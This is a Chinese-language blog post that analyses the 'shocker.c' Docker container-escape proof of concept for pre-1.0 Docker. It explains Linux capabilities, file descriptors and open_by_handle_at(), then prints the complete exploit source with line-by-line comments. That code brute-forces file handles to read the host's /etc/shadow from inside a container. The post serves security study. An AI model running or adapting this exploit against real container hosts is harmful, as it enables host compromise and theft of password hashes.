Docker 容器逃逸案例分析

本文涉及的产品
容器镜像服务 ACR,镜像仓库100个 不限时长
简介: ## 0. 前言 本文参考自《Docker 容器与容器云》 这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。 目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。

0. 前言

本文参考自《Docker 容器与容器云》

这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。

目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。

本案例所分析的 PoC 源码地址:shocker.c

1. 预备知识

1.1 Linux Capability

尝试用较为简单的话来说明 Linux 中 Capability 的概念。

为了解决在某些场景下,普通用户需要部分 root 权限来完成工作的问题。Linux 支持将部分 root 的特权操作权限细分成具体的 Capability,如果将某个 Capability 分配给某一个可执行文件或者是进程,即使不是 root 用户,也可以执行该 Capability 对应的特权操作。

1.2 Unix 系统文件操作原理

1.2.1 procuser 结构体

以 UNIX V6 为基础进行说明,目前主流的 Linux 版本文件系统的实现原理与 UNIX V6 差别不大。

Unix 系统中与某一个进程密切相关的有两个结构体,它们是 proc 结构体和 user 结构体。

proc 结构体中保存了进程状态、执行优先级等经常需要被内核访问的信息,因此由 proc 结构体构成的数据 proc[] 是常驻内存的。

/*
 * Filename: proc.h
 */

struct proc {
    // 进程当前状态
    char p_stat;
    // 标识变量
    char p_flag;
    // 执行优先级
    char p_pri;
    // 接收到的信号
    char p_sig;
    // UID
    char p_uid;
    // 在内存或交换空间中存在的时间,单位秒
    char p_time;
    // 占用 CPU 的累积时间,单位时钟 tick 数
    char p_cpu;
    // 用于修正执行优先级的补正系数,默认 0
    char p_nice;
    // 正在操作进程的终端
    int  p_ttyp;
    // PID
    int  p_pid;
    // 父进程 PID
    int  p_ppid;
    // 数据段的物理地址
    int  p_addr;
    // 数据段长度
    int  p_size;
    // 进程进入休眠的原因
    int  p_wchan;
    // 使用的代码段
    int  *p_textp;
}

user 结构体中保存了进程打开的文件等信息,由于内核只需要使用当前执行进程的 user 结构体,所以当某一个进程被移至交换空间时, user 结构体也相应地会被移出内存。

proc 结构体中的 p_addr 指向的数据段,其起始部分的内容即为 user 结构体。

由于 user 结构体内容较多就不列出了,其中一个与文件描述符相关的属性是 u_ofile[],会在后面提到。

1.2.2 文件描述符

文件描述符是内核为了管理已被打开的文件所创建的索引,是一个非负的整数。

文件描述符保存在进程对应 user 结构体的 u_ofile[] 字段中。

通过文件描述符对文件进行操作涉及到三个关键的数据结构,原理如下图所示:

Screen_Shot_2016_06_16_at_2_01_50_PM

说明1:

当一个进程启动时,文件描述符 0 表示 stdin1 表示 stdout2 表示 stderr,若进程再打开其它文件,那么这个文件的文件描述符会是 3,依次递增。

说明2:

当两个进程打开了同一个文件时(即为图中所示情况),对应到 file[] 中是两个不同的 file 结构体,因此各自拥有独立的文件偏移量,不过指向的是同一个 inode 节点,所以修改的是同一个文件。

说明3:

存在以下几种情况(未必是所有情况,也许存在没有列出的其它情况)会导致两个进程的文件描述符指向同一个 file 结构:

  1. 父进程 fork 出了子进程。此时父进程与子进程各自的每一个打开文件描述符共享同一个 file 结构
  2. 使用 dup 或是 dup2 函数来复制现有的文件描述符

我们知道 Docker 容器的 Namespace 隔离是 Docker Daemon 进程通过调用 clone() 函数,并控制 clone 函数中的 Flag 参数来实现的。我们查阅文档可以发现这一句描述

If CLONE_FILES is set, the calling process and the child process share the same file descriptor table.

说明 Docker Daemon 进程与容器进程共享了文件描述符。

1.3 open_by_handle_at 函数

函数原型:

int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);

函数功能:

引自 Linux 手册

The open_by_handle_at() system call opens the file referred to by handle.

The mount_fd argument is a file descriptor for any object (file, directory, etc.) in the mounted filesystem with respect to which handle should be interpreted.

The caller must have the CAP_DAC_READ_SEARCH capability to invoke open_by_handle_at().

译:

open_by_handle_at() 用于打开 file_handle 结构体指针所描述的某一个文件

mount_fd 参数为 file_handle 结构体指针所描述文件所在的文件系统中,任何一个文件或者是目录的文件描述符

Linux 手册中特别提到调用 open_by_handle_at 函数需要具备 CAP_DAC_READ_SEARCH 能力

Docker 1.0 版本对 Capability 使用黑名单管理策略,并且没有限制 CAP_DAC_READ_SEARCH 能力,因而造成了这个容器逃逸 case

file_handle 结构体说明:

struct file_handle {
    unsigned int  handle_bytes;   // Size of f_handle
    int           handle_type;    // Handle type
    unsigned char f_handle[0];    // File identifier
}

前面两个字段都好理解,关键是 f_handle[0] 字段,它一般都会是一个 8 字节的字符串,并且前 4 个字节为该文件的 inodenumber

另外 CVE-2014-3519 这个漏洞也与 open_by_handle_at() 函数相关,有时间我再去研究一下那个 case

3. "shocker.c" Line-by-Line Explanation

分析 shocker.c 所需要的储备知识已经介绍完了。

我在代码中用中文给出了比较详细的说明,下面来看下这段容器逃逸 PoC 代码。

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer

 *

 * Demonstrates that any given docker image someone is asking

 * you to run in your docker setup can access ANY file on your host,

 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising

 * security of the host and any other docker VM's on it.

 *

 * docker using container based VMM: Sebarate pid and net namespace,

 * stripped caps and RO bind mounts into container's /. However

 * as its only a bind-mount the fs struct from the task is shared

 * with the host which allows to open files by file handles

 * (open_by_handle_at()). As we thankfully have dac_override and

 * dac_read_search we can do this. The handle is usually a 64bit

 * string with 32bit inodenumber inside (tested with ext4).

 * Inode of / is always 2, so we have a starting point to walk

 * the FS path and brute force the remaining 32bit until we find the

 * desired file (It's probably easier, depending on the fhandle export

 * function used for the FS in question: it could be a parent inode# or

 * the inode generation which can be obtained via an ioctl).

 * [In practise the remaining 32bit are all 0 :]

 *

 * tested with docker 0.11 busybox demo image on a 3.11 kernel:

 *

 * docker run -i busybox sh

 *

 * seems to run any program inside VMM with UID 0 (some caps stripped); if

 * user argument is given, the provided docker image still

 * could contain +s binaries, just as demo busybox image does.

 *

 * PS: You should also seccomp kexec() syscall :)

 * PPS: Might affect other container based compartments too

 *

 * $ cc -Wall -std=c99 -O2 shocker.c -static

 */
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


/**
 * 攻击者构造的 file_handle 结构体
 */
struct my_file_handle {

    unsigned int handle_bytes;

    int handle_type;

    unsigned char f_handle[8];

};


/**
 * die 函数用于输出错误信息到 stderr,并以错误码结束程序,并不重要
 */
void die(const char *msg) {
    
    perror(msg);
    
    exit(errno);
    
}


/**
 * 用于输出一个 file_handle 结构体,并不重要
 */
void dump_handle(const struct my_file_handle *h) {

    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
            h->handle_type);

    for (int i = 0; i < h->handle_bytes; ++i) {

        fprintf(stderr,"0x%02x", h->f_handle[i]);

        if ((i + 1) % 20 == 0)

            fprintf(stderr,"\n");

        if (i < h->handle_bytes - 1)

            fprintf(stderr,", ");

    }

    fprintf(stderr,"};\n");

}


/**
 * 关键函数,用于爆破寻找指定文件的 file_handle 结构体
 * param fbd:'/.dockerinit' 文件描述符,与 '/etc/shadow' 在同一个文件系统中(已在 1.2.2 中说明)
 * param *path:爆破目标(本 case 中为 '/etc/shadow' 文件)
 * param *ih:爆破起始路径(本 case 中为 '/' 路径)的 file_handle 结构体
 * param *oh:返回参数,用于返回 '/etc/shadow' 的 file_handle 结构体
 */
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) {

    int fd;

    uint32_t ino = 0;

    struct my_file_handle outh = {

        .handle_bytes = 8,

        .handle_type = 1

    };

    DIR *dir = NULL;

    struct dirent *de = NULL;

    // 拿到 '/' 在 path 中首次出现的位置,返回的是该位置的地址。
    path = strchr(path, '/');

    /**
     * 递归寻找 '/etc/shadow' 的 file_handle 结构体
     */
    if (!path) {
        // 递归的结束条件为,已经把 path 中的所有 '/' (即路径)处理完成
        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));

        oh->handle_type = 1;

        oh->handle_bytes = 8;

        return 1;

    }

    // 跳过本次 '/' 字符在 path 中的地址
    // 用 python 描述就是 path = path[index_of_/:] 
    ++path;

    fprintf(stderr, "[*] Resolving '%s'\n", path);

    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");

    // 第一次递归中,dir 变量被赋值为 '/' 路径
    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");

    // 第一次递归中,为寻找 '/' 路径下,'/etc' 的 inodenumber,并将它复制给 ino
    for (;;) {

        de = readdir(dir);

        if (!de)
            break;

        fprintf(stderr, "[*] Found %s\n", de->d_name);

        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {

            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);

            ino = de->d_ino;

            break;

        }
    }

    // 由于已经拿到 '/etc' 的 inodenumber,故可以暴力破解出 '/etc' 的 file_handle 结构体
    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");

    if (de) {

        for (uint32_t i = 0; i < 0xffffffff; ++i) {

            outh.handle_bytes = 8;

            outh.handle_type = 1;

        // 爆破 '/etc' 的 file_handle 结构体并赋值给 outh
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));

            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*](%s) Trying: 0x%08x\n", de->d_name, i);

            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {

                closedir(dir);

                close(fd);

                dump_handle(&outh);
         
                // 继续递归查找 '/etc/shadow' 文件
                // 注意此时 path 已经为 'etc/shadow',而新的递归起点为 '/etc'
                return find_handle(bfd, path, &outh, oh);

            }
        }
    }

    closedir(dir);

    close(fd);

    return 0;

}


int main() {

    char buf[0x1000];

    int fd1, fd2;

    struct my_file_handle h;

    // '/' 路径的 file_handle 结构体,`/` 的 inodenumber 一般为 2
    struct my_file_handle root_h = {

        .handle_bytes = 8,

        .handle_type = 1,

        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}

    };


    /**
     * 需要重点说明 /.dockerinit 文件
     * 
     * 在老版本的 Docker 中,容器通过 `lxc-start` 启动,`.dockerinit` 是宿主机上执行 `lxc-start` 命令启动容器时,所指定的配置文件,会在启动容器时被挂载到容器内部。
     * 
     * 但在当前主流 Docker 版本中,已经将这部分功能移除了,虽然仍然有 `.dockerinit` 文件,不过文件已为空(并且也不是 `proc` 那种存在于内存中的 VFS 对象,真的就是空文件......)
     * 
     * PoC 只是利用这个 `.dockerinit` 文件作为容器内部与宿主机之间的一个桥梁
     */
    if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
        die("[-] open");


    // 调用 find_handle 来爆破寻找目标文件的 file_handle 结构体,从而打开该文件
    // h 为返回参数,即 "/etc/shadow" 爆破结果
    if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");

    // 输出 "/etc/shadow" 的 file_handle 结构体
    fprintf(stderr, "[!] Got a final handle!\n");

    dump_handle(&h);


    /**
     * 根据上面拿到的 h,打开 "/etc/shadow" 文件并输出
     */ 
    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
        
    memset(buf, 0, sizeof(buf));

    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");

    fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
    
    close(fd2); close(fd1);

    return 0;

}
目录
相关文章
|
5天前
|
存储 监控 安全
【专栏】Docker Compose:轻松实现容器编排的利器
【4月更文挑战第27天】Docker Compose是款轻量级容器编排工具,通过YAML文件统一管理多容器应用。本文分三部分深入讨论其核心概念(服务、网络、卷和配置)、使用方法及最佳实践。从快速入门到高级特性,包括环境隔离、CI/CD集成、资源管理和安全措施。通过案例分析展示如何构建多服务应用,助力高效容器编排与管理。
|
3天前
|
存储 虚拟化 数据中心
|
5天前
|
存储 Kubernetes C++
【专栏】Kubernetes VS Docker Swarm:哪个容器编排工具更适合你?
【4月更文挑战第27天】对比Kubernetes和Docker Swarm:K8s在可扩展性和自动化方面出色,有强大社区支持;Swarm以简易用著称,适合初学者。选择取决于项目需求、团队技能和预期收益。高度复杂项目推荐Kubernetes,快速上手小项目则选Docker Swarm。了解两者特点,助力选取合适容器编排工具。
|
5天前
|
Cloud Native Linux 开发者
【Docker】Docker:解析容器化技术的利器与在Linux中的关键作用
【Docker】Docker:解析容器化技术的利器与在Linux中的关键作用
|
2天前
|
存储 Linux 文件存储
Linux使用Docker部署Traefik容器并实现远程访问管理界面-1
Linux使用Docker部署Traefik容器并实现远程访问管理界面
|
2天前
|
Linux 开发者 Docker
Docker容器化技术详解
【4月更文挑战第30天】Docker,一个开源的容器化平台,助力开发者通过轻量级容器打包应用及依赖,实现跨平台快速部署。核心概念包括:容器(可执行的软件包)、镜像(只读模板)、Dockerfile(构建镜像的指令文件)和仓库(存储镜像的地方)。Docker利用Linux内核功能隔离容器,采用联合文件系统构建镜像。广泛应用包括开发测试一致性、微服务部署、CI/CD以及本地到远程部署。通过安装Docker,编写Dockerfile,构建&运行容器,可实现高效灵活的应用管理。随着容器技术进步,Docker在云计算和DevOps中的角色日益重要。
|
2天前
|
Shell Docker Ruby
3.Docker容器的数据卷
3.Docker容器的数据卷
|
2天前
|
弹性计算 Shell 数据安全/隐私保护
|
2天前
|
弹性计算 Shell 数据安全/隐私保护
自动化构建和部署Docker容器
【4月更文挑战第30天】
6 0
|
4天前
|
运维 Prometheus 监控
构建高效稳定的Docker容器监控体系
【4月更文挑战第29天】在微服务架构日益普及的当下,Docker作为轻量级容器的代表,被广泛应用于服务部署与管理。然而,随之而来的是复杂化的服务监控问题。本文旨在探讨如何构建一个高效且稳定的Docker容器监控体系,确保服务的高可用性。我们将从监控工具的选择、关键监控指标的确定,以及告警机制的设计等方面进行详细阐述,并提供一系列优化实践,以期为运维人员提供参考和指导。